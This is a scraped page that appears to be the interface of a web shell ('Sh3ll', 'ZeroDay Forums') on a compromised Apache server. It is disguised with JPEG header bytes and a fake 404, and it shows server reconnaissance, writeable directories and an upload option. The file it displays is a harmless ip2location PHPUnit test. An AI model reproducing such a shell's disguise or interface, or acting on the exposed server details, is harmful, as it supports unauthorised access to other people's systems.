����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkeweb2/vendor/ip2location/ip2location-php/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkeweb2/vendor/ip2location/ip2location-php/tests/DatabaseTest.php
<?php

declare(strict_types=1);

namespace IP2Location\Test\DatabaseTest;

use IP2Location\Database;
use PHPUnit\Framework\TestCase;

class DatabaseTest extends TestCase
{
	public function testInvalidDatabase() {
		try {
			$db = new \IP2Location\Database('./data/NULL.BIN', \IP2Location\Database::FILE_IO);
		} catch (\Exception $e) {
			$this->assertStringContainsString('does not seem to exist.', $e->getMessage());
		}
	}

	public function testIpv4CountryCode() {
		$db = new \IP2Location\Database('./data/IP2LOCATION-LITE-DB1.BIN', \IP2Location\Database::FILE_IO);

		$records = $db->lookup('8.8.8.8', \IP2Location\Database::ALL);

		$this->assertEquals(
			'US',
			$records['countryCode'],
		);
	}

	public function testIpv4CountryName() {
		$db = new \IP2Location\Database('./data/IP2LOCATION-LITE-DB1.BIN', \IP2Location\Database::FILE_IO);

		$records = $db->lookup('8.8.8.8', \IP2Location\Database::ALL);

		$this->assertEquals(
			'United States of America',
			$records['countryName'],
		);
	}

	public function testIpv4UnsupportedField() {
		$db = new \IP2Location\Database('./data/IP2LOCATION-LITE-DB1.BIN', \IP2Location\Database::FILE_IO);

		$records = $db->lookup('8.8.8.8', \IP2Location\Database::ALL);

		$this->assertStringContainsString('unavailable', $records['cityName']);
	}

	public function testIpv6CountryCode() {
		$db = new \IP2Location\Database('./data/IP2LOCATION-LITE-DB1.IPV6.BIN', \IP2Location\Database::FILE_IO);

		$records = $db->lookup('2001:4860:4860::8888', \IP2Location\Database::ALL);

		$this->assertEquals(
			'US',
			$records['countryCode'],
		);
	}

	public function testIpv6CountryName() {
		$db = new \IP2Location\Database('./data/IP2LOCATION-LITE-DB1.IPV6.BIN', \IP2Location\Database::FILE_IO);

		$records = $db->lookup('2001:4860:4860::8888', \IP2Location\Database::ALL);

		$this->assertEquals(
			'United States of America',
			$records['countryName'],
		);
	}

	public function testIpv6UnsupportedField() {
		$db = new \IP2Location\Database('./data/IP2LOCATION-LITE-DB1.IPV6.BIN', \IP2Location\Database::FILE_IO);

		$records = $db->lookup('2001:4860:4860::8888', \IP2Location\Database::ALL);

		$this->assertStringContainsString('unavailable', $records['cityName']);
	}
}

ZeroDay Forums Mini